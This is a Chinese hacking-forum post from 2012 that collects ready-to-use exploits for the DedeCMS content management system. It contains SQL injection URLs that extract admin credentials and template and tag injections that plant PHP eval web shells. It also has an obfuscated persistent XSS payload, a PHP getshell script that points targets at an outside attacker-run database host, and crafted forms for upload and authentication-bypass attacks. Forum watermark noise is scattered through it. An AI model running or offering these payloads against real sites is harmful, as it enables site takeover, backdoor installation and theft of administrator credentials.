中国网络渗透测试联盟

标题: dedecms漏洞总结 [打印本页]

---

作者: admin    时间: 2012-10-18 10:42
标题: dedecms漏洞总结

! P# V- v" Z# N! j% SDedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
# [, W, W+ u) V5 R


, c% G0 [/ m. B+ O4 p

* ~" a3 |7 W* I& e# _) x

" M0 |' j7 Y: Z4 n9 {7 D
DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。
* F* k; n& K) F" X; U8 v


7 |" _1 I  U2 o: L6 L



% y3 H- K- @8 ^  c0 I
Dede 5.6 GBK SQL注入漏洞
: }. O- h& N8 k& `; h$ Chttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
. }% G2 `  n$ `. B, zhttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

( u% K8 o2 W+ K. R, H" m
: s( G- b4 ^# l3 ]+ ~$ F

+ d3 ]8 U( X2 L; Z* t
8 b/ c  w4 T% V% ^

+ N1 A, L) c0 b1 g5 o# n
- |# Y" M  i$ u! m" w: b2 iDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
4 ?) t) F% Q# x  V/ ~# @
, j0 q# G7 }$ a

( R3 [- t! E8 i/ w
( _7 x4 p1 \. y, R' u6 z
7 X# @5 L7 p! Q) p. `
DEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
* y1 [, U- \" B1 ghttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

8 H9 I' ]/ m( P* \5 P. l! p
2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
. p+ b! |6 A$ ~, Lhttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
0 r( m; r; ~( a* f- t% ~
5 y  ~5 ^: D+ T, e6 R% v  W( p
http://v57.demo.dedecms.com/dede/login.php
: z& i9 n! J  J. k0 }/ n

, d! l; H& n7 u/ a; [color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
8 J# X  n: C% _; [set_time_limit(0);
( }( U' U) E# k" f$ g1 Q  h1 ~2 `print_r('
( B: V( s7 z+ w6 {DEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
- D$ q- L* M  l0 T( e8 Q);
$ z" M/ h/ _! K( W& jecho "\r\n";
8 v# G/ d! |6 Mif($argv[2]==null){
print_r('
/ p- V3 k, O& b: r+---------------------------------------------------------------------------+
1 l0 e$ J2 S& I% b; TUsage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
3 _3 i+ u; Z: ~+ `# {5 ~Example:
, s$ |& R) g9 u2 p: ]php '.$argv[0].' www.site.com 1 old
' S+ S% j6 W8 ?+---------------------------------------------------------------------------+
- I8 O2 Q) X9 y2 V');
exit;
0 L+ ]: }7 |  K3 D}
- p5 b: G6 c2 P0 q  u% t  @$url=$argv[1];
) w, _2 e# ?% F4 O+ Q# A/ F$aid=$argv[2];
$path=$argv[3];
' N! p$ M$ ]. @# P, l; O$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
2 |( k+ t; f" K  _# ^echo "
Exploit Success \n";
6 D/ j! d5 O3 \- t9 D* d  o: dif($aid==1)echo "
0 x1 K. V8 X! e0 @4 CShell:".$url."/$path/data/cache/fuck.php\n" ;
# b5 p( R$ X% t) Q( w
( l  [- c2 C  K- i  P: @
if($aid==2)echo "
: l; `' r% q" f( ?/ a- Y" HShell:".$url."/$path/fuck.php\n" ;

% T. I2 {& O& q0 x0 L% d$ A: V
& ?* e8 |4 L1 A3 k( P% @: sif($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";

1 X7 }& ?1 r2 N6 e
6 {5 t2 s' I- p* I# A" h}else{
echo "
2 s) z! `" d9 s& ^* WExploit Failed \n";
8 \: D: H9 q& A( l/ X3 Z% e6 ~# {3 S}
4 W: P! P7 \4 x# Mfunction Getshell($url,$aid,$path){
- ?7 ]4 I: ?1 [" f" ^9 D$id=$aid;
$host=$url;
$port="80";
9 @. W# |/ k1 G: m5 g, h$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
# {7 N+ \) ?  L0 `4 q  ?//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
  @& B/ R9 E4 }2 l  f- O$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
1 h0 B% K6 h0 o9 z- c( Q$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
2 B4 X7 a4 z* i7 I$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
2 K+ a5 k. @, g3 ~" cecho "
3 Y7 \) g% M% r4 i( Q& {" D( e6 QNo response from ".$host."\n";
6 I6 f) p4 T5 c; z6 K}
fwrite($ock,$data);
% [& w3 ~7 K+ M" qwhile (!feof($ock)) {
7 y0 x9 g3 `/ l& P! O! v$exp=fgets($ock, 1024);
3 D1 k% X" r: v4 x! b0 R9 ?return $exp;
}
. k1 H/ w/ Y1 |- }}
! A3 b; w& t6 J/ R3 y9 C6 ^* I& U
0 X& c1 q: s2 ?1 ?* [" ]; ~) P( q
?>


7 T5 n8 Q" |( e( ]! o9 [- K) x3 E


' g, t: w; ^. c! q" J
8 x& f7 A* F% V6 m( r$ k; u
5 w4 j8 G6 q$ t" c! M4 F

8 W4 N' B( Q+ C3 @) K
DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
( w. Z1 S- K8 x# D" T+ N( O+ Ghttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
# n) R! }3 f- ~" b
2 k! ?2 y7 A- E$ K: D; m! \3 f% l
6 y% a) J( n( O& X2 V7 s( A; E把上面validate=dcug改为当前的验证码，即可直接进入网站后台
5 q8 T2 Q: f% J; n4 a
' W; ?! d  N& P6 W( F0 y
此漏洞的前提是必须得到后台路径才能实现
( \. V! c; y- i# U/ o
& q; |$ x  U( ~# g' n/ z

5 I9 c4 L- [2 Y4 Q6 n  J
8 N8 ~5 `9 T/ X1 l6 N


+ r$ p# ^2 ~. L* G) ?4 ?8 ]
9 H/ q& |5 a- t6 H7 s! U

Dedecms织梦 标签远程文件写入漏洞
; I, e" Y# t, v5 ^2 f前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');

$ M9 {8 {( r  o4 A
/ a. h  P, ~9 E3 V1 a再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
8 M8 R1 t; R2 g# T<form action="" method="post" name="QuickSearch" id="QuickSearch">
) a* Z4 x% L4 d( }<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
  p# L; ?' x. x3 j<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
+ `, O! _  [' f: F, E<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
) E  T+ Y1 E8 H) [9 U/ A' M; j<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
8 Q7 T) T( M2 e/ b<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
1 @2 a, e8 y0 I* A1 L<script>
7 G4 A) p) A1 j: |function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
  y2 t, _: \$ u, ~# u2 r}
</script>
1 ~, M: J! E" u# |

3 g5 i- K" q6 U) h' M& ^
, @) Z' L& j2 W) ~  m7 e$ q( i  k
) g4 |+ v) o! h! S' _( h3 r) f


6 B8 ~2 X9 C2 |  ?9 V

  E6 Q- l3 O8 O( C$ `
DedeCms v5.6 嵌入恶意代码执行漏洞
5 E3 |* O. W  G; N  p  j7 m1 e注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
8 [1 a! m( H' ]9 c) |a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
2 r8 ]- j! k* s$ e3 _0 q3 K, v  U注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
) v) u: U: x/ suploads/userup/2/12OMX04-15A.jpg

+ D" S7 B2 k- X! L, o7 D( Q/ f
9 \0 c# d' h' |$ t! P6 \% K; \模板内容是（如果限制图片格式，加gif89a）：
% q3 e9 @% H; O, B+ ~5 Y! |{dede:name runphp='yes'}
$ i' @' J- ^5 g. v$fp = @fopen("1.php", 'a');
% ]' B$ B( G) }8 W- j# ?6 c. Z/ e& Q@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
1 t9 l! W0 p' d6 ~1 ?7 N" h# k9 u@fclose($fp);
! r* t" x0 B0 n& j{/dede:name}
2 f& }  o& Q: m1 I1 D; D; r9 g2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
, N1 W  p8 r2 ~7 M<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
5 J4 }1 q+ O' Z3 ^9 O  Q<input type="hidden" name="sortrank" value="1275972263" />
# \3 Q4 T; |* V
! Y2 W8 s/ _+ F$ O& g7 W9 o
4 O0 ^) w# I4 {$ a6 y! a0 b0 l' b<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
7 b: N2 D# [3 _7 N0 t( ?/ C2 s6 c
3 V" K# C$ {6 l- X9 Z  o0 e% i
' h1 e/ B% _3 Z2 Z* ]<div class="postForm">
7 a/ Z5 a- Y: t1 u# K# [& `<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
; Z% c5 j. _/ h
7 h# [8 l6 h; i1 F
<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
5 g' g, M) T9 d# A: p+ q6 M
1 U  M# D* K# u- Y5 f% x
<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

9 O% b" y% k! c- r: ^( d7 y
<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
' L3 \- F/ C( ~* F& z</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)


! C+ C! X' ^- P/ v  H" _<label>我的分类：</label>
% @; e$ S' K9 ], K<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
) E  t( d3 w7 Y</select>
) ?$ y5 X( n" T, ]/ J
9 \' C2 ~$ d0 R+ A) n
<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)
( u9 f, m; P9 @0 f" \1 |% N
/ }0 a5 B1 V, _! V
<label>缩略图：</label>
( u. V5 ^: l& b, d2 a<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
4 s6 w1 ^; y6 |; ^4 o
5 K  e+ H9 Y" @' W" ~4 _3 E: _* d
8 G: b) S1 ~" a0 ?4 U<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
8 U. s- }2 j5 K7 ^</div>

0 P5 _& D3 o3 \" G
<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>

: F! h3 H5 x9 R; C+ u
8 O  ?9 b3 q! y1 W8 ], c$ c. C- i<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
* {2 S% x/ x2 g# E- A! z3 t3 }

<button class="button2" type="submit">提交</button>
' l; X. W" j/ u2 `3 s<button class="button2 ml10" type="reset">重置</button>
</div>
& v$ h2 s6 ~/ e! v& i0 h2 r/ _
( Z& L7 F, o5 ?$ d& b: p# u
</div>


</form>
, e+ a; @% r: |$ z6 w
+ T4 [* K: N" [% _; V% S
提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
, C3 W3 f' Y+ W' D) ^) w即可以在plus目录下生成webshell：1.php

2 N% M% w2 o2 x- B5 j+ ?
* E) P) O  g8 Q% ]( J
: ]# f5 {& ^9 {( i6 l& z
8 N# \- B* P6 p8 |& e& s

" l+ n# |. K; m$ `  y: I
, o" Q3 B1 a/ \: {) P: f
2 M! p# k% M* ?



% l6 @! |/ m6 d8 [/ O2 aDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
- W9 c3 G$ A( Ephpinfo();
{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
5 D+ h/ d; }/ L( O+ ]* E<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
* e. [" o' N. T' J: f<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
3 ?0 o% J' f& b( N& k<input type="hidden" name="dopost" value="save" />
5 y4 A0 U8 y' c6 a4 H2 m6 `  J<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
; M2 C% d" u% t<input name="addonfile" type="file" id="addonfile"/>
/ ]$ J) F0 T1 i8 G0 [- X8 h+ m0 ~<button class="button2" type="submit" >更改</button>
" o+ j7 e# }8 z1 I6 d. [2 ]; l/ V" q</form>
5 R0 F! b) k3 j" \; X# D! `$ V

4 O; O9 G+ ^2 v5 K8 _1 ?构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
" C% ?9 r2 |% U2 Y发表文章，然后构造修改表单如下：


<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
9 _* ~" C" S$ |2 m2 m+ k. a. C; s<input type="hidden" name="aid" value="2" />
  E, u& Y' N9 b1 ^1 H<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
6 y9 z5 `7 i$ d5 m<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
% V' ]2 e' Y- o- j/ }<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
- S) K% |- G# F# O# B  \8 r, y, V<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
2 f& Q1 D9 O  Z1 x<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
6 S7 |' F6 J& r; O- g, d" W<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
& z9 L! V0 Y6 |. n</form>
4 R* x$ M* y6 F" |$ x. N9 f2 E
% S/ w0 c! P4 }9 s
2 |0 c# M+ k* D; D1 G0 m

, u- T+ V7 \& g


8 o' e/ Q) {2 O- k
% G- |2 X& @2 x# _# d3 r* {! L
0 p- \* D- S7 A* \% p6 w0 I

/ d# _0 s  m+ p) R) h* o! i# q3 M
织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
* f% ?9 n6 z1 U6 w+ y' D: I


7 W6 Q$ R3 Y- [; I7 `' m

2 @( F6 T. e/ U$ V, x5 T
/ n8 }8 Y. l9 L: B* W! M7 e& j5 e) V


9 l$ m7 N3 `; o7 M1 `" h4 v, n
! t) u, M+ ]2 a& s/ d1 J; p) L织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
0 y7 s5 V4 X! t: Ghttp://www.test.com/plus/carbuya ... urn&code=../../

, h( u, A  A8 P. c! J4 F3 p) [
2 E* c6 j) Q! E

; v' [5 ]& U+ L/ Y) W

# L. d8 A2 i8 Y6 z
) p& Y7 {/ J) K5 t
. X) w$ p8 |) U

/ ~" R4 P4 T$ PDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
  {8 p0 x1 ]! U" V密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5



# Y8 S) b$ U, w- G( M# E# Q* u' S



" a) L2 w, F7 b


' l8 H2 k- R- e. D' J织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

! M+ L2 H2 M2 ^1 n: z; @! _
& B# i# I9 W9 \4 [# s# d3 R) @

( J3 u8 X  b/ U





织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
  d; S7 R8 {8 x( m<html>
* z# O' Y% F. ?. \<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
# C8 I5 j7 r& t1 _& y7 q</head>
<body style="FONT-SIZE: 9pt">
5 R7 f" S( ?  `: S---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
- L1 |$ C/ Q- _<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
# ?: O% W& R7 k* ?<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
4 o" T4 f, N; P8 R) P' ~<input type='hidden' name='job' value='upload' />
0 ?$ M* \9 E1 }: Q<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
* T! K( x0 Z1 r" \+ w4 C! w3 O<input type='submit' name='sb1' value='确定' />
% s5 q1 D  F6 I4 v</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
! f7 N9 I2 E# A* P9 ]</body>
8 [9 j/ g" S6 U</html>


6 h+ a7 I8 a) t3 }3 o
* x' g& I& a/ n3 y4 [/ d3 G

8 A  a2 h/ x# U* a+ H

9 r% R! Q; I9 \2 ]
  N7 J3 e$ L9 k. F* j. h
6 z( l; S% A9 F0 m( @* ?) ]
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
% m, C$ w7 P( Z4 v* |& W; P1 F% d) m利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
5 x) g/ j2 k, |. J7 E: u9 Ohttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
8 D, T0 l" c2 A+ a0 w, s  N
! p# A6 m/ j/ e  O! R
2 g" d, _! x! R% {% h( a$ p3 [2 [* L& N2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
: N+ ?4 U* k6 y% f' _Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
0 K# U# O* I' o6 }/ u, P

  W, r- X) e1 e0 N' N& J1 X9 V3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
/ J. [8 X  V7 U1 g
7 U* A. w" M/ |2 `
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

) _1 ?+ h! G1 M, u$ g6 f. G$ D
按确定后的看到第2步骤的信息表示文件木马上传成功.
# |' h5 {- N9 l  H2 p2 C/ X8 b1 G. G
3 y1 J: f* [" O3 `2 S- V



% [! x2 Y1 B  N/ K! w

7 e+ s# d* a. i- _/ i- U

8 W, [. `% o; g' B4 X

* {# |0 [5 o' V
1 f  U  K; g3 G织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2